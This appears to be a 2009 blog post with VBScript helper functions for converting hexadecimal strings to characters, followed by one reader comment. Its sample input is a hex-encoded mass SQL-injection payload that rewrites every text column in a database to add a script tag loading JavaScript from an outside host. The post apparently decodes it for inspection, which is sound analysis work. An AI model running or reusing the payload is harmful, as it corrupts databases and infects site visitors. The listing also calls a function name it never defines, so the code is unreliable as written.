Sunday, January 4, 2009

Hexadecimal to Decimal Conversion

VBScript: Hexadecimal to Decimal Conversion

This function converts a hexadecimal value represented by a string into a decimal value.


str = "0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E6A786D6D74762E636F6D2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72"
str = trim0x( str )

Response.Write DecToChar( str )



Function URLDecode(str)
str = Replace(str, "+", " ")
For i = 1 To Len(str)
sT = Mid(str, i, 1)
If sT = "%" Then
If i+2 < Len(str) Then
sR = sR & _
Chr(CLng("&H" & Mid(str, i+1, 2)))
i = i+2
End If
Else
sR = sR & sT
End If
Next
URLDecode = sR
End Function


Function charToHex( str )
strResult = ""
leng = len(str)
For i = 1 To leng Step 1
strResult = strResult & hex( asc( mid( str, i, 1) ) )
Next
charToHex = strResult
End Function

Function charToDecimal( str )
strResult = ""
leng = len(str)
For i = 1 To leng Step 1
strResult = strResult & asc( mid( str, i, 1) )
Next
charToDecimal = strResult
end Function

Function trim0x(str)
strTmp = mid(str, 1, 2)
if strTmp = "0x" or strTmp = "0X" then
str = mid( str, 3)
end if
trim0x = str
End Function



Function decimalToChar( strDec )
strResult = ""
count = -1
leng = len(strDec)/2
For i = 1 To leng Step 1
count = count + 2
strResult = strResult & Chr( hexToDecimal( Mid( strDec, count, 2 ) ) )
next
decimalToChar = strResult
End Function

Function hexToDecimal(strHex)
dim lngResult
dim intIndex
dim strDigit
dim intDigit
dim intValue

lngResult = 0
for intIndex = len(strHex) to 1 step -1
strDigit = mid(strHex, intIndex, 1)
intDigit = instr("0123456789ABCDEF", ucase(strDigit))-1
if intDigit >= 0 then
intValue = intDigit * (16 ^ (len(strHex)-intIndex))
lngResult = lngResult + intValue
else
lngResult = 0
intIndex = 0 ' stop the loop
end if
next

hexToDecimal = lngResult
End Function

1 comment:

flobi said...

YOU ROCK!!! Thanks so much for this info, you saved my life (figuratively, of course).